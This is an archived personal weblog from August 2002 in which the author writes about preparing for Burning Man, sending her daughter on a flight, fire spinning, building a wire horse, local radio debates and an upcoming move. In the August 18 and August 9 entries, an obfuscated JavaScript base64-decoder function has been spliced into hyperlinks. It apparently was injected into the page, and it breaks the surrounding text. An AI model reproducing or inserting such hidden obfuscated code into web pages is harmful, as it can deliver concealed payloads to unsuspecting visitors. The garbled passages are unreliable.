spectating participant

August 24, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Well, today is the day. I head out in about 9 hours from now. Not really sure how I feel about all of it though. All the stress has taken it’s toll and now I’m seriously wondering if I have made a big mistake by saying that I would go. Basically, it stems from the fact that the love of my life is on the otherside of the country, about to buy a house so Alex and I can live with him, and I’m running off in the other direction. What do you do when everything inside of you is telling you that you should be there too? What do you do when everything inside of you is telling you that you should be heading down the long highway on a too-long car trip with your best friend? Wish I could find some way to make it all feel right. Either way, I’m stepping on toes and feelings, and it scares me to think that I could possibly be making my love feel less important or less valued just because I felt it was important to make this trip. And, no, this isn’t stemming from any guilt trip he’s laid down, nah, he’s been wonderful about the whole situtation (once we got it figured out at least) but it’s still twirling me in all direction. At this rate, I’m gonna need something far stronger than lithium to calm me down and level me out a bit.

Since I’m gonna be gone for a while, figured I would drop down to 5 most recent entries and throw out 15 random ones for anyone interested and seeing what’s happened to me in the last year. Yeah, egotistical, I know, but when you got [google] toying with your emotions, you gotta pimp the self esteem a little.

August 23, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Last day to get stuff done before I head out to the burn…. Lets see, my to do list currently looks like:

  • finish the compas guide project
  • pick up forgotten items from [mom|Donna Wiggins]’s house
  • glue stars back onto goggles
  • buy food and water
  • do laundry
  • pick up random supplies from the store
  • pay last minute bills
  • stop by the bank
  • [pack|packing list]

All that needs to be done within the next 22 hours. Hopefully I can do it.

Oh one more:

  • go to the bookstore

I really need some new book title suggestions. I’m gonna be locked ina car for 71 hours round trip, I need something to keep me sane. Do you have anything to suggest? suggest a book

[Achievement Matters: Getting Your Child The Best Education Possible]
[Bullies & Victims: Helping Your Child Through the Schoolyard Battle]
[What to Do When Kids Are Mean to Your Child]
[Mom, They’re Teasing Me: Helping Your Child Solve Social Problems]
[Politics and Change in the Middle East]
[Odd Girls Out: Agression in Girls]
[Forbidden Truth: U.S. - Taliban Secret Oil Diplomacy and The Failed Hunt For Bin Laden]
[War Without End: Cultural Conflict and the Struggle for America’s Political Future]

August 22, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

[Fire spinning] in the rain is amazing. Not just a light dizzle or sprinkling of water, I’m talking about the heavyduty downpour complete with thunderclaps and lightining sparks. [BobbyG] mixed up some new music for the [moot|Milwaukee Pub Moot] so us [fire kids|Milwaukee Fire Group] could get a good drenching while celebrating one of my last pub moot in [Milwaukee|Milwaukee, WI]. It was prolly the most [spirtual] spinning I’ve ever done, I’m still amazed.

Driving through [Estabrook Park], in the rain, I saw a fellar walking in only his boxers (quite wet, I might say) and carrying a neon orange mushroom. You don’t see that everyday, excluding [next week|Burning Man].

Have I mentioned how incredibly excited I am about heading out to the [playa] this year? It is almost impossible for me to get anything done, I’m so stoked. And to think that I leave in less than 48 hours and I’m not ready. So much to do, will I be able to get it done in time? Sure hope so.

I’ve finished all the costumes that I’m bringing. It won’t be all that I planned for, but still more than I hoped for. This is great. Now to get some paid work done for a change… better get away from [fishy] now before it’s too late.

With so many submissions, what makes weblogs.com useful? I guess if your bored, you can just sit and go through the recent entries. There seems to be some pretty good stuff there.

August 21, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I had to take [my angel|Alex] to airport today. I woke up, hit the [snooze button] one too many times, and realized that we were not completely packed. That threw me into rush mode, which turns on the “Alex, please hurry up” record. After zipping down [I-43], [I-94], and [I-294] we barely arrived on time. The no-wait no-checked baggage ticket counter got us headed to the terminal in no time. But, we still hadn’t had breakfast and I wasn’t finding anything with something she would like and that didn’t have a long line. Finally, we gave up and headed for the gate. Luckily we found a bagel shop on the way. Alex got a plain bagel with peanut butter, yum. We made it to the gate with less than 10 minutes to spare. My record kept spinning as I urged her to finish eating so we could go get her hands washed before the flight. Right after stole her remaining bagel, bagged it up for later, and stood to go to the washroom, [pre-boarding] for [flight 950] was called. We stepped over to the gate, I was told to give her my goodbyes, and I manage to get a quick hug before she dissapeared through the doorway.

I still feel crummy, like the worst mom ever. She gets to take off on a longish vacation, and the time with me was spent listening to me [nagging] her to hurry up. Blah. I feel like I’ve been on crabby mode lately more often than not. I can recall a couple times in the past few days that I’ve gotten upset over minor things. And now I just sent my angel off without a long hug and kiss and with the morning’s and past days’ tension still hanging over us.

Once I made it back into [Wisconsin] I switched on my new favorite radio station, [Wisconsin Public Radio]. Turns out they are arguing over the [New York Times] decision to publish [same-sex union announcements]. I’m happy to hear about this. It provides the public a more rounded view of the relationships that do take place. Hopefully it will remove some of the social negativity towards [same-sex relationships]. One caller wanted to point out that he thougt it was wrong, and asked what is he going to do when his 7-year-old picks up the paper, finds it, and asks him why two men are in a relationship together. One of the guests just laughed, wondering what the man would do when his son saw a couple walking down the street or living down the road. The caller furthr pointed out that the newspaper is doing a service for the pubic then, by letting them know about the couple so the public can be aware if these people “who just ain’t right” are living near them and to avoid them.

Sometimes I wonder how people can be so closed minded. I meet people all the time who are open to almost anything, it really stuns me to find that there are still a large number of people with extreemly narrow and negative minds. And then to further that, I find organizations like the [Family Research Council], who names seems to imply something positive in regards to family (due to the reasearch aspect), who shares and furthers these closed-minded viewpoints.

Drove past the [Milwaukee Art Museum] for the last time (prolly) before I move. Wings were open and it was beautiful. I’m sure going to miss it.

August 20, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Time is falling through my hand. Too much to do, time moving too fast to do it. I have to be up at [4:20]am tomorrow. Just to leave [Grafton, WI] by 5:00am so I can get [Alex] on a plane departing [Midway Aiport] at 9:00am. Oh joy. My mom called to ask if she was supposed to go with me. No. Then as if I needed her to go with me. No. Basically, she was fishing for the opportunity to get a [free ride] to [Chicago, IL] and spend the afternoon browsing [fabric store]s. Too bad, I have way too much stuff to get done.

My mom and I went to P.F. Chang’s yesterday for lunch. I had [lettuce wraps] and she tried their [almond cashew chicken]. Both were good, but the lettuce wraps were better. We then ordered the choclate cake and [cheesecake] desserts. These were massive amounts of delisousness. We had to bring the leftovers home to Alex, who’s eyes lit up at the mention of the work [chocolate].

[Fishy] has an [index] now. Woohoo for me, or I should say, woohoo for me if [google] ever comes back. Starting to get obsessed with fishy and google, thats not good. I think my [boyfriend|Rob Carlson] is brainwashing me. Who knows what will happen when w live together. I wonder if a [google orgy] is possible. Hah!

Okay, all shaky from lack of food. Better go get something.

August 18, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I better keep up with this page. Not going to admit to being a [google whore] like my [boyfriend|Rob Carlson], but I still got a [slap on the wrist] from [googlebot] for not feeding it enough. In non-geek terms: if you don’t keep providing new information, it stops visiting every day. So back to [blogging].

It seems that I’ve been a little focused on [fertility] lately. I’m not sure why exactly, even though it has caught [someone’s|vees] attention. I caught the [Oprah Show]’s focus on [fertility misconceptions]. No, I don’t feel that at 22 I need to rush out and have another child. I’m quite happy with the [one|Alex] that I have (she is gonna turn 7 soon, did ya know?). However, it resparked my interest in raising awareness about [infertility] and misrepresented information about [birth control] and [family planning]. I’ve known an amazing number of couples who have had [problems conceiving]. I’ve watched people go through [in vitro fertilization], [fertility drugs], and finally [adoption]. It’s a costly problem to face and one that doesn’t get enough attention. Their are many contributing factors and reasons for [infertility] and more women (and men) wishing to reproduce should be aware of early signs or early prevention measures available. So plan to hear more about it later.

I set up a new [google hook] on [Fishy]. function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandom.html”>Swimming with Fishy provides 10 recent entries, 5 random entries, and a list of all my entries. I’m not trying to push [Rob’s|Rob Carlson] contributions aside, I’m just trying to keep track of the articles that I’ve written or contributed to. Plus, I think everyone uses [epistolary] and no one will even notice my little page (but maybe [google] will). This will be my first attempt at baiting google, and if it works, I may just have to share a bottle of [lube] with Rob, but until then, I’m gonna claim innocence.

I just learned that there is a [P.F. Chang’s] in Milwaukee. No fair, how long has this been the case? I’ve missed out on how many plates of [lettuce wraps]? I feel violated. They should know how much I love their food and they should have sent a personal invitation to my door announcing their grand opening. However, if I had been reading [onmilwaukee.com] as I used to, I would have noticed that their grand opening took place [July 15, 2002]. Too bad I’m seriously not hungry enough to run over for a quick bite.

I’m starting to get more and more information crammed into my page. I used to roll my eyes at Rob when I’d try scrolling through the volumes of stuff he had stashed on his page. Yet, here I’ve gone and increased the number of new galleries, added a list of recent fishy articles, and included a list of all journal entries. I think that I will also throw on my one-word-search function as well. So, is this extra information helpful? I guess that I will find out.

August 14, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

My computer is still broken. I’m still sad about it. Gonna hopefully take it to Derrick who runs [Expert Computer Services] in [Milwaukee, WI]. I sure hope I don’t lose all the information off of it. I’ll be really sad then.

I heard about a new [political strategy] this morning. A lady was saying that African Americans should vote for the [Republican Party] because they need to get the party’s attention. She was arguing to for people to overlook the fact that Republican’s often ignore the needs and interest of the black community and that they should support them anyway. By doing so, the Republican party would suddenly take an interest in African American affairs and listen to them. When other people questioned why they would want to abandon candidates who share their same views on several issues, she just further stated that Republican’s will change their views once they have the black vote. And this coming from the president of the [African-American Coalition for Empowerment] who keeps arguing that she isn’t [Republican], [Democratic], or [Independent] but she thinks blacks should vote for Republican candidates.

I’ll be sure to give take my vote away from candidates who share my views and give it to someone opposed to them in hopes that they will change their mind.

August 9, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Two new shoots in my [photo gallery]:

  • function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandomdrive”>Random Drive: okay, this is really a goofy collection. I was bored one day when driving home, and decided to hold my camera out the window while I drove. So no comments about how I can’t take a level picture until you take some pictures while navigating the city, shifting gears, watching the road, and making sure the wind doesn’t yank the camera out of your hand.
  • Bus Stop Shoot: We were on the way to [UWM] and she was in a crabby mood because we had to wait another 15 minutes for the bus. So, I figured I would try to get a few pictures and suddenly the little grump transformed into a goofy ham. I love taking pictures of her because she is eager to come up with new poses and faces, and of course, she is the most beautiful girl ever. note: This is prolly the only Alex collection that I will put in my main gallery. Mainly cause I’m paranoid and because I like being able to check the logs to see who logged in to look at the pictures. If your interested in seeing one or all of the 33 private galleries, let me know and I’ll set up an account for you.

Going to [Earthfest] and [Fungus Fest] tomorrow. Then there is the [Sewing Party] on Sunday. It is going to be a busy weekend.

August 5, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Woohoo! I got the job. I am going to be the program assistant for [Equity/Diversity Services]. Basically, another 20-hours-a-week-paycheck contribution to the [moving to Baltimore fund]. Things are really falling into place right now. Of course, we’ll see how much fun working 42-47 hours a week is. For a month, it won’t be too bad (especially not when adding up the reward). But the real excitement will start [August 18, 2002] when I begin a 64-hour work week. But I want to make sure I get all my [Compass Guide] projects finished and am ready to move on to a new job in [Baltimore, MD].

I want to do more programming. I need access at home again.

August 4, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I woke up with a terrible headache. However, it didn’t stop me from getting out of bed at 7:15am on a Sunday. [Headache|How to stop a headache]s make it difficult to hit snooze too many times because each “beep” stabs right behind my closed eyelids and makes to cringe into my pillow before moving to make it stop.

Church wasn’t so bad. I made sure that we were there on time and that Alex got to go to [Sunday school]. I half listened to the adult lesson and spent the main service doing what I always did in church: drawing. I was a little disappointed in the singing, it had always been the highlight of the service for me and I didn’t enjoy it as much this time. Church did give me the chance to sketch out a good model for building a wire pony with flamethrower that I plan to start on tonight.

My mom bought stuff to throw on the grill when we got home. While tending the fire, I heard someone screaming for help. I rushed to the back of the yard, hoping to be able to see what the problem was, but the brush was too thick. So, I ran inside, grabbed my phone and keys, and told my mom someone is screaming for help and I’m going. I dove to the Seminary next door, and saw a bike lying on its side in the long driveway. My panic kicked up a notch as I hurried forward, stopped the car, and rushed out to find the problem.

The screaming had stopped. A boy and a man were walking back towards the bike. The boy was still very upset and crying. The man, a neighbor, quickly informed me that the boy is lost. The neighbor had come over for the same reason I did. After calming the boy down a little, we were able to get a phone number and called his grandpa to come get him. We were both obviously shaken by the urgency of the screaming. A couple squad cars arrived a couple minutes later. We caught everyone up on the situation as the boy’s grandfather arrived. My mom and Alex came walking up the drive, looking very worried. My mom had called the police shortly after I had run out the door. However, she couldn’t find her keys so they hurried over on foot instead.

We all gave a big sigh of relief that it wasn’t something serious, piled into my car, and headed home. It took a while for the jitters to die off, and once they did, we had a nice lunch.

August 3, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I did it! I finally managed to pull links from [fishy] into my journal. This is great! Now I can finally stop wasting time typing out long urls. If there is anything I find important enough to link to, I will have probably entered it into the [database|fishy] already. I’m really proud that I was able to get the links to work. [Rob|Rob Carlson] lost dsl service last night during a [lighting storm] and hasn’t been able to answer my million and one question. But that is okay, after several hours, I managed to figure out how to get my page to pull information from two different databases and parse out my links.

I spent a lot of time [building a wire horse|How to build a wire horse] lately. In fact, Rob even pointed out the number of times I started our phone conversations with “My horse…” But it is exciting to realize that I may have some glimmering touches of an artist hiding inside me. It was originally created as a gift for [Kathleen|Kathleen Ellis], because I thought she would really enjoy the symbolism of it. However, I couldn’t figure out how to add [flamethrowers|ponies with flamethrowers] to it. And then I realized it was going to be very difficult to transport it to the [desert|Burning Man] without damaging. And, truth be told, I fell in love with it and would rather give it to my wonderful boyfriend as a house warming gift.

The wire horse.

I’m not the only one noticing my artistic side. While riding the [park & ride] bus to campus, the driver caught my glance at the flower shop display. “You look like the type that would enjoy arranging those flowers they got in there.” He remarked. My eyes sparkled behind my goggles, and I agreed with me. After two years of riding the bus, it was the first time he’d have ever spoken to me other than the causal greetings. We continued to conversation to include typical bland issues: weather and current events.

The [state fair|Wisconsin State Fair] started. It’s now time to listen to everyone rave about the wonderful [cream puffs]. I haven’t figured out why they are so popular, just a flaky biscuit with too sweet cream slapped in the middle. However, people buy them by the dozens and have them shipped all over. I guess you live for the simple things in life when your from [Wisconsin].

August 2, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I can [pee standing up]. I’m impressed. I’ve practiced it in the shower several times now and am confident that I can do so without making a mess. The true test with be my bathroom toliet and then a public restroom. Assuming all goes well, I will be set for the end of the month and won’t have to buy the little personal gadget that promises the same results. Wee.

Two people are confirmed for my [Sewing Party] next weekend. I happy because it is the only two I thought would come and the one’s I’m having the party for anyway. My mom seems to be getting a little excited about it. Too bad she doesn’t have as much fabric on hand. But I realized that I have a ton sitting around my house, so we should have a good grab bag pile along with decorative trims and such. Plus, we’ll run over to the fabric store before we start sewing.

Speaking of my mom, remind me to never mention anything chruch related to her or, god forbid, drop a hint that I may go to church once I move. I’ll never hear the end of this, but at least she sees some glimmer of hope for me now. I can’t decide if that is good or bad though. I’ll decide while I’m in church on Sunday (oh the things I’ll agree to…)

I’m happy. I is settled that Alex will be going to [Oklahoma] for sure (well.. almost for sure, but way more for sure than before). Both Pawpaw and Mawmaw came together to help me out with the logisitics. Now, I just have to stop by and purchase the tickets. Better get moving before it gets too late.

Something is still bothering me about all this technical stuff. Maybe because I feel like I don’t have any control over what I can and can’t do. I really want to work on a project, but everytime I get started I get lost. I suck at web development and all of it is getting pretty close to being too much to put up with. I give myself this weekend to get over ir, otherwise it will come down to “rm *”.

August 1, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

August already. Damn. I knew this year would fly by. I’m waiting on the chance to incorporate my journals with [Fishy]. [Rob|Rob Carlson] is supposed to help me, but he has been busy with work stuff and I’m sure [girlfriend priority] is pretty low. Not to be said in a bad way, just a realistic one. But once I get it working, I can link away to the [database|Fishy] and hopefully lure in more people.

I think someone is breaking into my car and locking the door. For 4 days, I’ve walked out to my car and found the door lock. This is rather unusual since I never feel the need to lock up my car at home. I don’t live in a [crime infested neighborhood] and I have nothing of value in my car. So why would I want to lock my door? There is the chance that I’m forgetting to leave the door unlocked, but I’m pretty sure that for at least 2 nights, I quickly unlocked it after the natural reaction that flips it locked occured. Maybe I’ll have to sit an wait at the window to see who is doing it.

I also recently decided that I’m burning. Some of my yahoo groups: [burningcorn], [burningsnow], [burningass], [baltwash-burning].

I’m getting more panic-depressed by the minute. It doesn’t make any sense and I can’t figure out what is bothering me. I at least have a clue about what the problem is, unfortunatly, I’m not willing to dicuss it yet. This sucks.